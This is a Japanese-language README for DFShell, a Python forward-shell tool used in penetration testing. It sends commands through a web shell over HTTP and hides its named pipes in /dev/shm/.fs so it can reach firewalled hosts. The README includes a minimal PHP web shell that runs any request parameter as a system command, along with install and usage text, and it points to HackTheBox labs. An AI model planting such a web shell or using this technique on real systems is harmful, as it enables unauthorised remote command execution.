
Pythonベースのフォワードシェルツール。名前付きパイプを使用してHTTP上でTTYライクなインタラクティブシェルを作成し、永続的なネットワーク接続なしでファイアウォールで保護されたターゲット上でのコマンド実行を可能にします。
██████╗ ███████╗███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║█████╗ ███████╗███████║█████╗ ██║ ██║
██║ ██║██╔══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██████╔╝██║ ███████║██║ ██║███████╗███████╗███████╗
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
D3Ext's Forward Shell は、mkfifoを使用して被害マシン上でシェルをシミュレートするPython3スクリプトです。/dev/shm/.fs/ に隠しディレクトリを作成し、そこにFIFOを格納します。Webシェル上でもTTYをシミュレートできます。
このフォワードシェルは、名前付きパイプ (mkfifo) を介してコマンドを受け付け、結果をファイルに出力するシェルを作成します。これにより、永続的なネットワーク接続を必要とせず、リバース/バインドシェルをブロックするファイアウォールの背後でも適切なTTYを確立できます。
ソースからインストール
git clone https://github.com/D3Ext/DFShell
cd DFShell
pip3 install -r requirements.txt
pipでインストール
pip3 install dfshell
DFShell には、フォワードシェルの設定を改善するための様々なCLIパラメータがあります。
ヘルプパネル
usage: dfshell.py [-h] -u URL -p PARAMETER [-t TIMEOUT] [--path PATH] [-v VERBOSE]
D3Ext's Forward Shell - Enhanced forward shell with integrated commands
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL url of the webshell (i.e. http://10.10.10.10/webshell.php)
-p PARAMETER, --parameter PARAMETER
parameter of the webshell to execute commands (i.e. cmd)
-t TIMEOUT, --timeout TIMEOUT
timeout of requests that execute commands (default 20s)
--path PATH path in which to create named pipes (default /dev/shm/.fs)
-v VERBOSE, --verbose VERBOSE
print more information
指定されたURLにGETリクエストを送信するため、Webシェルは以下のようになっている必要があります:
<?php
if(isset($_REQUEST['cmd']))
{
system($_REQUEST['cmd']);
}
?>
Parrot OS 上のApacheサーバーでテスト済み
管理された環境でこのツールをテストしたい場合、以下はHackTheBoxマシンのリストで、Webサーバーにファイアウォールルールが適用されているため、フォワードシェルが権限昇格に直接進むための優れた代替手段となります。
この素晴らしいテクニックを提供してくれた @ippsec に感謝
https://github.com/IppSec/forward-shell
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux#forward-shell
https://www.f5.com/labs/learning-center/forward-and-reverse-shells
https://github.com/Hypnoze57/FShell
https://s4vitar.github.io/ttyoverhttp/
CONTRIBUTING.md をご覧ください。
CHANGELOG.md をご覧ください。
このプロジェクトはMITライセンスの下で提供されています。
Copyright © 2023, D3Ext